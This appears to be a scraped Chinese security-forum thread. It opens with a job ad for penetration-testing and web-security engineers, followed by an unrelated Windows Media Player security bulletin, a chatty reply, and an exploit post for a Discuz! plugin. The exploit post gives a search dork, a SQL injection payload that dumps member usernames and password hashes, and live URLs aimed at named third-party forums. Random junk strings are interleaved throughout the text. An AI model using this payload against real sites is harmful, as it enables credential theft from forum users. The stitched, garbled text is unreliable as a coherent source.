返回列表 发帖

[人才招聘] [招聘] [HR]红科网安 网络安全工程师

  • 招聘职位: 网络安全测试工程师
  • 公司名称: 红科网安北京科技有限公司
  • 工作地点: 北京
  • 专业要求: 计算机专业 
  • 学历要求: 本科
  • 工作经验: 2年以上
  • 职位薪金: 4000~6000
  • 年龄要求: 不限
  • 性别要求: 不限 
  • 公司网址: http://www.honkwin.com
  • 简历邮箱: hr@honkwin.com
  • 联系电话: (010)62717538-602 郭小姐
  • 在线QQ:
  • 安全助手: 通过非安全中国管理人员招聘/求职,QQ群:57116771


  • ++++++++++红科网安北京科技有限公司相关说明++++++++++

    本帖最后由 jeffzua 于 2010-11-7 23:02 编辑 / J0 w$ l4 r. S( n
    * T/ A* ^- _  d6 g1 \0 I/ k! o% W* `/ S
    岗位职责: * @9 e; c, G! P  V
    1、信息安全渗透测试、风险评估与加固工作的组织实施; 1 M$ Z; z8 Q: ^& |! i
    2、构建WEB内容安全体系,评估线上业务安全问题,指导安全测试,跟踪解决内容安全问题;
    ! i2 T7 V: M8 H* ^, U, _3、构建攻击防御系统,保障平台线上服务安全;
    % Y- P1 K! A. C+ b+ s, j4、构建内网安全模型,保障内网稳定和信息安全;
    " {' D* M9 y6 N; k1 y! Z5、构建攻击测试模型,评测安全设备的安全性能;
    6 C9 b* [/ R+ d+ W6、制定安全标准和流程,规范操作行为; 9 w* z) h: ?1 l+ x
    7、提供网络安全攻防技术及相关工具的培训;
    ) v+ p  Y8 i( u0 c岗位要求:
    5 S9 l: h" E! a$ q; W" S1、掌握信息安全基础理论知识,熟悉国内外信息安全政策与标准,包括等级保护、风险评估等; ( m5 d' O% u8 K0 X/ L9 O
    2、熟悉网络及应用系统的常见安全漏洞与隐患,能够利用已有工具进行识别和评估;
    4 O, k; Q1 s8 ]; d7 e3、针对各类主流系统(包括网络设备、操作系统、数据库及应用系统)的渗透方法,熟悉黑客常用的攻击技术、手法和相应防范措施,精通WEB安全攻击和防范方法,具有大量的安全紧急事件响应经验,具有多个渗透测试项目经验; ( A% y5 ~- q1 A- H7 w
    4、能搭建各类渗透测试的演示环境; 能够熟练运用各种手段对系统实施有效的渗透;   ~: @# n' H0 i$ |8 \
    5、掌握主流的安全技术,如网络安全、主机安全、应用安全、密码技术等;
    + t& L! U5 Y$ H; Y9 q6、熟悉主流操作系统、数据库、网络与应用系统的工作原理,全面掌握常见的安全漏洞及利用技术;
    2 {' `) B1 p2 P' f8 K7、熟悉常用web应用,如: IIS、Apache 、 weblogic 、tomcat 等,能比较熟练的配置使用这些平台系统并进行优化和漏洞修补;
    2 M$ F; Z. g% @7 d5 a优先考虑的条件: ; o4 _7 o. J. B8 @
    1、熟悉防火墙、IDS等安全设备; 熟悉shell、perl、php、jsp、asp.net中至少一种脚本语言 # f: l  e, ^0 u- o5 W' T2 j+ n
    2、具备较好的文档写作能力,能够独立完成渗透测试方案、测试报告及攻防技术培训讲义的撰写;
    2 }) {. q" {0 C8 u! f! q0 M3、强烈的责任心和良好的团队合作精神,较好的沟通能力; ' X& d# Z9 R7 u5 v6 D
    4、有全面的安全知识体系,对安全问题十分敏感,能够制定方案并推动其实施; 8 ?5 m. w3 ?2 W9 B( R1 {
    5、具有良好的团队合作精神和主动学习精神; # v2 c: j, u8 S# ]9 V
    6、有cissp、cisp证书者优先。
    5 x* U4 Z( h6 K& T
    - ~+ z, ]9 s6 S1 q: x+ G* W, F7 ^! }) N) C% r7 T( x
    1 s; K- q4 h  A: [6 J
    另外还招 《web安全工程师》 要求如下:
    & g" h5 n3 L5 e8 p- }
    . K3 d7 F" v. G; ?% q- i' z5 N2 M* i学历:大专    工作年限: 1年以上。。
    " d0 w( }" }0 M6 x
    8 i; ~: r9 \% [! n1、Web漏洞检测技术的研究
    + s' X, l+ W: @1 }6 O2、网页木马检测技术的研究
    ) _3 h+ g: L: `/ x9 e3、负责Web安全评估及加固工作& n$ q: G4 J* h4 s
    4、使用脚本编写程序
    7 p9 }6 Y$ X, U' z. a7 u4 G4 H5、对公司产品进行安全测试% L" t/ y6 P' t
    任职要求:+ z, [6 F: }  M
    1、具有一年以上Web安全方面的工作经验0 D' P7 ^) I% c* H0 f5 C7 L
    2、熟悉Web相关程序的工作原理,以及Web2.0等相关技术- g) f# ~. T5 y1 J& X
    3、对Web攻击(Sql注入、XSS、挂马等)有深入的研究和认识, 熟悉Web渗透和防御的基本技能, 熟悉常见的Web漏洞、Web木马、Web挂马技术和Web渗透技术;( i8 Q8 `# z/ B+ Z1 q  K' d
    3、具备较强的编程能力(C/C++,网页编程和脚本编程),优先考虑;
    ( ]1 ~  V  I) ]" M) ?; {7 n, P4、对攻防策略的研究具备浓厚的兴趣;; z& j6 y7 Q3 c6 ?# A7 S
    5、有团队合作意识,具有较强的沟通及团队协作能力,勤奋踏实,吃苦耐力。

     

    您可能还想看的主题:

    《瑞星网络安全高级工程师培训》课程表

    我的一份作业,基于BT平台的利用。初级教程。以前那个连接失效了。从新发下。

    安全宝招聘安全服务工程师

    SpyEye 1.3.45 Loader源代码下载

    知道创宇长期招聘Web安全研究员/Python Web研发工程师

    北京某安全公司招聘WEB安全工程师

    新浪招聘安全工程师、安全开发工程师

    谷歌雅虎等宣布6月24日为全球IPv6测试日

    IP地址即将用光

    我国网络安全的若干新思考

    非安全中国网免责声明 1、本帖所有言论和图片纯属发表者个人意见,与本站立场无关;
    2、本话题由:jeffzua发表,本帖发表者jeffzua符合《关于版权及免责声明》6大管理制度规定,享有相关权利;
    3、其他单位或个人使用、转载或引用本帖时必须征得发表者jeffzua和本站的同意;
    4、本帖作品部分转载自其它媒体并在本站发布,转载的目的在于传递更多信息,并不代表本站赞同其观点和对其真实性负责;
    5、本帖如有侵犯到贵站或个人版权问题,请立即告知本站,本站将及时予与删除,并致以最深的歉意;
    6、本站管理员和版主有权不事先通知发帖者而删除本文。

    MS07-047:Windows Media Player 中存在安全漏洞
    发布日期: 八月 14, 2007版本: 1.0
    ( H  d2 w! B2 _- H
    摘要:
    9 l3 M' a# x( M# y
    此重要安全更新可解决两个秘密报告的漏洞。 如果用户在 Windows Media Player 中查看了特制文件,这些漏洞可能允许执行代码。 那些帐户被配置为拥有较少系统用户权限的用户比具有管理用户权限的用户受到的影响要小。
    * \) `5 I2 g* D4 T; D8 x9 [
    这是针对受支持版本 Windows Media Player 7.1、9、10 的重要安全更新。

    5 M. `: n- Z" W/ k3 w* [% w5 G) w- y
    建议。 Microsoft 建议用户应用此更新。

    . q2 N7 r$ r) a) ~
    受影响的软件操作系统 组件 最大安全影响 综合严重程度等级 此更新替代的公告  Windows 2000 Service Pack 4 Windows Media Player 7.1 远程执行代码 重要 MS06-024 Windows 2000 Service Pack 4 Windows Media Player 9 远程执行代码 重要 MS06-024 Windows XP Service Pack 2 Windows Media Player 9 远程执行代码 重要 MS06-024 Windows XP Service Pack 2 Windows Media Player 10 远程执行代码 重要 MS06-024 Windows XP Professional X64 Edition Windows Media Player 10 远程执行代码 重要 MS06-024 Windows XP Professional X64 Edition Service Pack 2 Windows Media Player 10 远程执行代码 重要 无 Windows Server 2003 Service Pack 1 Windows Media Player 10 远程执行代码 重要 MS06-024 Windows Server 2003 Service Pack 2 Windows Media Player 10 远程执行代码 重要 无 Windows Server 2003 x64 Edition Windows Media Player 10 远程执行代码 重要 MS06-024 Windows Server 2003 x64 Edition Service Pack 2 Windows Media Player 10 远程执行代码 重要 无 Windows XP Service Pack 2 Windows Media Player 11 远程执行代码 重要 MS06-024 Windows XP Professional X64 Edition Windows Media Player 11 远程执行代码 重要 MS06-024 Windows XP Professional X64 Edition Service Pack 2 Windows Media Player 11 远程执行代码 重要 无 Windows Vista Windows Media Player 11 远程执行代码 重要 无 Windows Vista x64 Edition Windows Media Player 11 远程执行代码 重要 无
    8 g  H' W9 U" `5 O" J" @
    微软的安全公告:

    7 b5 z0 a/ E2 r2 Q" H( Y- g( z; N) D
    http://www.microsoft.com/china/technet/security/bulletin/MS07-047.mspx

    + m$ o, v9 I  n- H
    (以上链接均连到第三方网站)

      y$ F+ t* ?/ Y# S- ]5 g- ^/ D0 ?- h9 U* |; R
    ( Z  D: F4 a. C

    / ]  C9 ^8 s0 G) `
    " i" t$ _* v) d1 Y6 k# }/ P: s% p
    ; k* {) @( a, x8 o9 M' s, }; p
    # w  |+ j' H# c) ~; N1 N4 R& |4 z5 Y7 j3 R- e! \; i

    , n" h+ z7 C8 n, ?
    - K1 K% T2 a  X3 _$ A2 s9 A, Q; g4 M# z7 k! P5 X$ d( Y0 r" i
    & b9 S7 ~0 R9 }5 d
    , k! E3 s1 v+ d4 O

    / P* `0 |; R5 N6 Y# o. G
    . i* L5 j! f7 Z% B/ n9 P1 f
    $ d1 _  f0 d( y. }7 J2 a* h2 U
    9 _6 a: I0 t5 j% W
    & ]' _4 L2 `2 o1 y2 t' {0 K5 L6 v3 U! p2 M9 n$ P' H& h
    公告:https://www.sitedirsec.com公布最新漏洞,请关注

    TOP

    哈哈 支持啊 可以换头像咯哦,不过现在也蛮不错的。 " J, _* i1 R# X4 V1 x7 U
    3 I3 Z* P  R; R) l; ]& J
    ) I. N0 d: H( O1 s
    6 a) x6 P4 _- u* w; y

    & d( ^' K4 Q5 l! H% C! p' Y: ~3 K1 g; m3 J& X' v
    $ T& r5 Z1 O- ^: i% d5 |7 ]  f+ d9 Q
    & h0 Z: _5 n6 Y& `7 a# I6 @4 ?
    7 w; m( ?, B, W9 H7 y

    0 x! r  [2 `" u1 X9 t2 i
    / z9 x) Z  [5 r6 J4 k- Z: C* y# @$ S3 X5 P- c4 B

    / z% f; p* F! n% r- ]. V+ I1 G  Z$ D' O% D8 e( g+ o, w" U- L
    % C! ^/ |( e4 O+ r' A  ^9 [

    2 H9 p6 k, U. @# m( k+ \% t5 d; E
    ' ^1 [6 s- s. O9 P) X% s
    % V; y" h2 g- J  l- I) Q7 U- r0 v4 k, O, ]  f
    公告:https://www.sitedirsec.com公布最新漏洞,请关注

    TOP

    Discuz!论坛江湖插件漏洞
    [+] Founded         : ZhaoHuAn                                     [+] Contact        : ZhengXing[at]shandagames[dot]com                           [+] Date        : Feb, 9th 2009         [+] Update        : Sep, 1th 2009                                                                          ========================[Soft Info]======================                                                                                  Software: Discuz! Plugin JiangHu Inn                         Version        : 1.1                                                         Vendor        :http://www.discuz.com d0rk    : inurl:forummission.php                                              [-] Exploit: [+] and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11 from cdb_members-- [-] SqlI PoC: [+]http://target/[path]/forummission.php?index=show&id=24 and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11 from cdb_members-- [+] Demo Live: [-]http://www.palslp.com/forummission.php?index=show&id=24 and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11 from cdb_members-- [-]http://bbs.sunspals.com/forummission.php?index=show&id=24 and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11 from cdb_members--
    4 X5 B" U" e& x5 R' j
    / K7 T0 N6 j* p+ ~
    ! J; c3 e, f/ i4 n% h- e9 ~* m5 R" L0 N( Z2 P% A% \$ s. F' R; l0 J8 J( q8 _, b
    " I& m2 ^' |9 B4 M
    # Z( d5 ^' s; H# ~' w6 |
    / J) o2 p& T) ^% X) I) H2 J2 S
    # u0 H) V9 |  O5 \. Y/ R

    ! x; l/ T$ a" U$ g, M
    , d; j, `. O* y: t
    - r3 j$ G2 H- z* t
    7 A" H0 l9 y2 j4 W% L7 e1 H  D% d' @2 n8 b: M; u: E+ q# F
    $ c9 }6 h, g4 r' d- w2 j; C
    6 Z$ Z( C7 @; Z$ J; j' {1 h/ m
    & N: D1 D/ c: c1 J* Y0 q
    1 s) P4 j+ p+ j1 q( U

    ' S: V/ f  d2 @9 \/ z  C/ x" q- m/ [( S; @: [$ k( n2 e( Y# ~
    公告:https://www.sitedirsec.com公布最新漏洞,请关注

    TOP

    返回列表